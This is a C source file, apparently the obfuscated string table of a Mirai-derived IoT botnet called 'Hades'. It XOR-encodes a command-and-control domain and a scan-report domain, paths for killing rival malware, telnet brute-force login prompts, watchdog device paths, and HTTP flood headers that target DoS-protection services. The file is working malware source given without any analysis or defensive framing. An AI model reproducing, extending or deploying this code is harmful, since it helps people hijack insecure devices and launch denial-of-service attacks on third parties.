#define _GNU_SOURCE

#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdint.h>
#include <stdlib.h>

#include "includes.h"
#include "table.h"
#include "util.h"

uint32_t table_key = 0x33c001de;
struct table_value table[TABLE_MAX_KEYS];

void table_init(void)
{
    add_entry(TABLE_EXEC_SUCCESS, "\x4D\x61\x6C\x66\x6F\x72\x6D\x65\x64\x20\x50\x61\x63\x6B\x65\x74\x2E", 17); // Malformed Packet.
    add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7); // /proc/
    add_entry(TABLE_ATK_RESOLVER, "\x75\x3F\x2E\x39\x75\x28\x3F\x29\x35\x36\x2C\x74\x39\x35\x34\x3C\x5A", 17);
    add_entry(TABLE_ATK_NSERV, "\x34\x3B\x37\x3F\x29\x3F\x28\x2C\x3F\x28\x7A\x5A", 12);
    add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5); // /exe
    add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4); // /fd
	add_entry(TABLE_KILLER_MAPS, "\x0D\x4F\x43\x52\x51\x22", 6); // /maps
    add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8); // /status
    add_entry(TABLE_KILLER_TCP, "\x0D\x52\x50\x4D\x41\x0D\x4C\x47\x56\x0D\x56\x41\x52\x22", 14); // /proc/net/tcp
    add_entry(TABLE_KILLER_CMDLINE, "\x0D\x41\x4F\x46\x4E\x4B\x4C\x47\x22", 9); // /cmdline
    add_entry(TABLE_KILLER_TMP, "\x56\x4F\x52\x0D\x22", 5); // tmp/
    add_entry(TABLE_KILLER_DATALOCAL, "\x48\x4D\x58\x4D\x03\x40\x43\x4F\x4D\x40\x2C", 11); // data/local
    add_entry(TABLE_KILLER_QTX, "\x5D\x58\x54\x4E\x43\x58\x2C", 7); // qtxbot
    add_entry(TABLE_KILLER_DOT, "\x02\x2C", 2); // .
    add_entry(TABLE_KILLER_ARM, "\x4D\x5E\x41\x2C", 4); // arm
    add_entry(TABLE_KILLER_X86, "\x54\x14\x1A\x2C", 4); // x86
    add_entry(TABLE_KILLER_SH4, "\x5F\x44\x18\x2C", 4); // sh4
    add_entry(TABLE_KILLER_MIPS, "\x41\x45\x5C\x5F\x2C", 5); // mips
    add_entry(TABLE_KILLER_MPSL, "\x41\x5C\x5F\x40\x2C", 5); // mpsl
    add_entry(TABLE_KILLER_SDA, "\x5F\x48\x4D\x2C", 4); // sda
    add_entry(TABLE_KILLER_MTD, "\x41\x58\x48\x2C", 4); // mtd
	add_entry(TABLE_KILLER_QTX2, "\x4E\x43\x58\x2C", 4); // bot
	add_entry(TABLE_KILLER_HAKAI, "\x44\x4D\x47\x4D\x45\x2C", 6); // hakai

    add_entry(TABLE_SCAN_SHELL, "\x5F\x44\x49\x40\x40\x2C", 6); // shell
    add_entry(TABLE_SCAN_ENABLE, "\x49\x42\x4D\x4E\x40\x49\x2C", 7); // enable
    add_entry(TABLE_SCAN_SYSTEM, "\x5F\x55\x5F\x58\x49\x41\x2C", 7); // system
    add_entry(TABLE_SCAN_SH, "\x5F\x44\x2C", 3); // sh
	add_entry(TABLE_SCAN_LSHELL, "\x40\x45\x42\x59\x54\x5F\x44\x49\x40\x40\x2C", 11); // linuxshell
    add_entry(TABLE_SCAN_QUERY, "\x03\x4E\x45\x42\x03\x4E\x59\x5F\x55\x4E\x43\x54\x0C\x63\x7E\x7C\x64\x65\x6F\x2C", 20); // /bin/busybox 
    add_entry(TABLE_SCAN_RESP, "\x63\x7E\x7C\x64\x65\x6F\x16\x0C\x4D\x5C\x5C\x40\x49\x58\x0C\x42\x43\x58\x0C\x4A\x43\x59\x42\x48\x2C", 25); // applet not found
    add_entry(TABLE_SCAN_NCORRECT, "\x42\x4F\x43\x5E\x5E\x49\x4F\x58\x2C", 9); // ncorrect
    add_entry(TABLE_SCAN_OGIN, "\x43\x4B\x45\x42\x2C", 5); // ogin
    add_entry(TABLE_SCAN_ASSWORD, "\x4D\x5F\x5F\x5B\x43\x5E\x48\x2C", 8); // assword
    add_entry(TABLE_SCAN_ENTER, "\x49\x42\x58\x49\x5E\x2C", 6); // enter

    add_entry(TABLE_WATCHDOG_1, "\x03\x48\x49\x5A\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 14); // /dev/watchdog
    add_entry(TABLE_WATCHDOG_2, "\x03\x48\x49\x5A\x03\x41\x45\x5F\x4F\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 19); // /dev/misc/watchdog
    add_entry(TABLE_WATCHDOG_3, "\x03\x5F\x4E\x45\x42\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 15); // /sbin/watchdog
    add_entry(TABLE_WATCHDOG_4, "\x03\x4E\x45\x42\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 14); // /bin/watchdog
    add_entry(TABLE_WATCHDOG_5, "\x03\x48\x49\x5A\x03\x6A\x78\x7B\x68\x78\x1D\x1C\x1D\x73\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 23); // /dev/FTWDT101_watchdog
    add_entry(TABLE_WATCHDOG_6, "\x03\x48\x49\x5A\x03\x6A\x78\x7B\x68\x78\x1D\x1C\x1D\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 23); // /dev/FTWDT101/watchdog
    add_entry(TABLE_WATCHDOG_7, "\x03\x48\x49\x5A\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x1C\x2C", 15); // /dev/watchdog0
    add_entry(TABLE_WATCHDOG_8, "\x03\x49\x58\x4F\x03\x48\x49\x4A\x4D\x59\x40\x58\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 22); // /etc/default/watchdog
    add_entry(TABLE_WATCHDOG_9, "\x03\x49\x58\x4F\x03\x5B\x4D\x58\x4F\x44\x48\x43\x4B\x2C", 14); // /etc/watchdog

    add_entry(TABLE_RANDOM, "\x5E\x4D\x42\x48\x43\x41\x5C\x59\x40\x40\x59\x5C\x4B\x4D\x42\x4B\x2C", 17);
    add_entry(TABLE_CNC_DOMAIN, "\x4F\x42\x4F\x02\x45\x5F\x45\x5F\x42\x49\x58\x02\x54\x55\x56\x2C", 16); // cnc.isisnet.xyz
    add_entry(TABLE_SCAN_DOMAIN, "\x5F\x4F\x4D\x42\x02\x45\x5F\x45\x5F\x42\x49\x58\x02\x54\x55\x56\x2C", 17); // scan.isisnet.xyz

    add_entry(TABLE_ATK_KEEP_ALIVE, "\x19\x35\x34\x34\x3F\x39\x2E\x33\x35\x34\x60\x7A\x31\x3F\x3F\x2A\x77\x3B\x36\x33\x2C\x3F\x5A", 23);
    add_entry(TABLE_ATK_ACCEPT, "\x1B\x39\x39\x3F\x2A\x2E\x60\x7A\x2E\x3F\x22\x2E\x75\x32\x2E\x37\x36\x76\x3B\x2A\x2A\x36\x33\x39\x3B\x2E\x33\x35\x34\x75\x22\x32\x2E\x37\x36\x71\x22\x37\x36\x76\x3B\x2A\x2A\x36\x33\x39\x3B\x2E\x33\x35\x34\x75\x22\x37\x36\x61\x2B\x67\x6A\x74\x63\x76\x33\x37\x3B\x3D\x3F\x75\x2D\x3F\x38\x2A\x76\x70\x75\x70\x61\x2B\x67\x6A\x74\x62\x5A", 83);
    add_entry(TABLE_ATK_ACCEPT_LNG, "\x1B\x39\x39\x3F\x2A\x2E\x77\x16\x3B\x34\x3D\x2F\x3B\x3D\x3F\x60\x7A\x3F\x34\x77\x0F\x09\x76\x3F\x34\x61\x2B\x67\x6A\x74\x62\x5A", 32);
    add_entry(TABLE_ATK_CONTENT_TYPE, "\x19\x35\x34\x2E\x3F\x34\x2E\x77\x0E\x23\x2A\x3F\x60\x7A\x3B\x2A\x2A\x36\x33\x39\x3B\x2E\x33\x35\x34\x75\x22\x77\x2D\x2D\x2D\x77\x3C\x35\x28\x37\x77\x2F\x28\x36\x3F\x34\x39\x35\x3E\x3F\x3E\x5A", 48);
    add_entry(TABLE_ATK_SET_COOKIE, "\x29\x3F\x2E\x19\x35\x35\x31\x33\x3F\x72\x7D\x5A", 12);
    add_entry(TABLE_ATK_REFRESH_HDR, "\x28\x3F\x3C\x28\x3F\x29\x32\x60\x5A", 9);
    add_entry(TABLE_ATK_LOCATION_HDR, "\x36\x35\x39\x3B\x2E\x33\x35\x34\x60\x5A", 10);
    add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x29\x3F\x2E\x77\x39\x35\x35\x31\x33\x3F\x60\x5A", 12);
    add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x39\x35\x34\x2E\x3F\x34\x2E\x77\x36\x3F\x34\x3D\x2E\x32\x60\x5A", 16);
    add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x2E\x28\x3B\x34\x29\x3C\x3F\x28\x77\x3F\x34\x39\x35\x3E\x33\x34\x3D\x60\x5A", 19);
    add_entry(TABLE_ATK_CHUNKED, "\x39\x32\x2F\x34\x31\x3F\x3E\x5A", 8);
    add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x31\x3F\x3F\x2A\x77\x3B\x36\x33\x2C\x3F\x5A", 11);
    add_entry(TABLE_ATK_CONNECTION_HDR, "\x39\x35\x34\x34\x3F\x39\x2E\x33\x35\x34\x60\x5A", 12);
    add_entry(TABLE_ATK_DOSARREST, "\x29\x3F\x28\x2C\x3F\x28\x60\x7A\x3E\x35\x29\x3B\x28\x28\x3F\x29\x2E\x5A", 18);
    add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x29\x3F\x28\x2C\x3F\x28\x60\x7A\x39\x36\x35\x2F\x3E\x3C\x36\x3B\x28\x3F\x77\x34\x3D\x33\x34\x22\x5A", 25);

    add_entry(TABLE_HTTP_ONE, "\x17\x35\x20\x33\x36\x36\x3B\x75\x6F\x74\x6A\x7A\x72\x0D\x33\x34\x3E\x35\x2D\x29\x7A\x14\x0E\x7A\x6B\x6A\x74\x6A\x61\x7A\x0D\x15\x0D\x6C\x6E\x73\x7A\x1B\x2A\x2A\x36\x3F\x0D\x3F\x38\x11\x33\x2E\x75\x6F\x69\x6D\x74\x69\x6C\x7A\x72\x11\x12\x0E\x17\x16\x76\x7A\x36\x33\x31\x3F\x7A\x1D\x3F\x39\x31\x35\x73\x7A\x19\x32\x28\x35\x37\x3F\x75\x6F\x6B\x74\x6A\x74\x68\x6D\x6A\x6E\x74\x6B\x6A\x69\x7A\x09\x3B\x3C\x3B\x28\x33\x75\x6F\x69\x6D\x74\x69\x6C\x5A", 111);
    add_entry(TABLE_HTTP_TWO, "\x17\x35\x20\x33\x36\x36\x3B\x75\x6F\x74\x6A\x7A\x72\x0D\x33\x34\x3E\x35\x2D\x29\x7A\x14\x0E\x7A\x6B\x6A\x74\x6A\x61\x7A\x0D\x15\x0D\x6C\x6E\x73\x7A\x1B\x2A\x2A\x36\x3F\x0D\x3F\x38\x11\x33\x2E\x75\x6F\x69\x6D\x74\x69\x6C\x7A\x72\x11\x12\x0E\x17\x16\x76\x7A\x36\x33\x31\x3F\x7A\x1D\x3F\x39\x31\x35\x73\x7A\x19\x32\x28\x35\x37\x3F\x75\x6F\x68\x74\x6A\x74\x68\x6D\x6E\x69\x74\x6B\x6B\x6C\x7A\x09\x3B\x3C\x3B\x28\x33\x75\x6F\x69\x6D\x74\x69\x6C\x5A", 111);
    add_entry(TABLE_HTTP_THREE, "\x17\x35\x20\x33\x36\x36\x3B\x75\x6F\x74\x6A\x7A\x72\x0D\x33\x34\x3E\x35\x2D\x29\x7A\x14\x0E\x7A\x6C\x74\x6B\x61\x7A\x0D\x15\x0D\x6C\x6E\x73\x7A\x1B\x2A\x2A\x36\x3F\x0D\x3F\x38\x11\x33\x2E\x75\x6F\x69\x6D\x74\x69\x6C\x7A\x72\x11\x12\x0E\x17\x16\x76\x7A\x36\x33\x31\x3F\x7A\x1D\x3F\x39\x31\x35\x73\x7A\x19\x32\x28\x35\x37\x3F\x75\x6F\x6B\x74\x6A\x74\x68\x6D\x6A\x6E\x74\x6B\x6A\x69\x7A\x09\x3B\x3C\x3B\x28\x33\x75\x6F\x69\x6D\x74\x69\x6C\x5A", 110);
    add_entry(TABLE_HTTP_FOUR, "\x17\x35\x20\x33\x36\x36\x3B\x75\x6F\x74\x6A\x7A\x72\x0D\x33\x34\x3E\x35\x2D\x29\x7A\x14\x0E\x7A\x6C\x74\x6B\x61\x7A\x0D\x15\x0D\x6C\x6E\x73\x7A\x1B\x2A\x2A\x36\x3F\x0D\x3F\x38\x11\x33\x2E\x75\x6F\x69\x6D\x74\x69\x6C\x7A\x72\x11\x12\x0E\x17\x16\x76\x7A\x36\x33\x31\x3F\x7A\x1D\x3F\x39\x31\x35\x73\x7A\x19\x32\x28\x35\x37\x3F\x75\x6F\x68\x74\x6A\x74\x68\x6D\x6E\x69\x74\x6B\x6B\x6C\x7A\x09\x3B\x3C\x3B\x28\x33\x75\x6F\x69\x6D\x74\x69\x6C\x5A", 110);
    add_entry(TABLE_HTTP_FIVE, "\x17\x35\x20\x33\x36\x36\x3B\x75\x6F\x74\x6A\x7A\x72\x17\x3B\x39\x33\x34\x2E\x35\x29\x32\x61\x7A\x13\x34\x2E\x3F\x36\x7A\x17\x3B\x39\x7A\x15\x09\x7A\x02\x7A\x6B\x6A\x05\x6B\x6B\x05\x6C\x73\x7A\x1B\x2A\x2A\x36\x3F\x0D\x3F\x38\x11\x33\x2E\x75\x6C\x6A\x6B\x74\x6D\x74\x6D\x7A\x72\x11\x12\x0E\x17\x16\x76\x7A\x36\x33\x31\x3F\x7A\x1D\x3F\x39\x31\x35\x73\x7A\x0C\x3F\x28\x29\x33\x35\x34\x75\x63\x74\x6B\x74\x68\x7A\x09\x3B\x3C\x3B\x28\x33\x75\x6C\x6A\x6B\x74\x6D\x74\x6D\x5A", 117);
}

void table_unlock_val(uint8_t id)
{
    struct table_value *val = &table[id];

#ifdef DEBUG
    if (!val->locked)
    {
        printf("(Hades/TABLE) tried to double-unlock value %d\n", id);
        return;
    }
#endif

    toggle_obf(id);
}

void table_lock_val(uint8_t id)
{
    struct table_value *val = &table[id];

#ifdef DEBUG
    if (val->locked)
    {
        printf("(Hades/TABLE) tried to double-lock value\n");
        return;
    }
#endif

    toggle_obf(id);
}

char *table_retrieve_val(int id, int *len)
{
    struct table_value *val = &table[id];

#ifdef DEBUG
    if (val->locked)
    {
        printf("(Hades/TABLE) tried to access table.%d but it is locked\n", id);
        return NULL;
    }
#endif

    if (len != NULL)
        *len = (int)val->val_len;
    return val->val;
}

static void add_entry(uint8_t id, char *buf, int buf_len)
{
    char *cpy = malloc(buf_len);

    util_memcpy(cpy, buf, buf_len);

    table[id].val = cpy;
    table[id].val_len = (uint16_t)buf_len;
#ifdef DEBUG
    table[id].locked = TRUE;
#endif
}

static void toggle_obf(uint8_t id)
{
    int i;
    struct table_value *val = &table[id];
    uint8_t k1 = table_key & 0xff,
            k2 = (table_key >> 8) & 0xff,
            k3 = (table_key >> 16) & 0xff,
            k4 = (table_key >> 24) & 0xff;

    for (i = 0; i < val->val_len; i++)
    {
        val->val[i] ^= k1;
        val->val[i] ^= k2;
        val->val[i] ^= k3;
        val->val[i] ^= k4;
    }

#ifdef DEBUG
    val->locked = !val->locked;
#endif
}
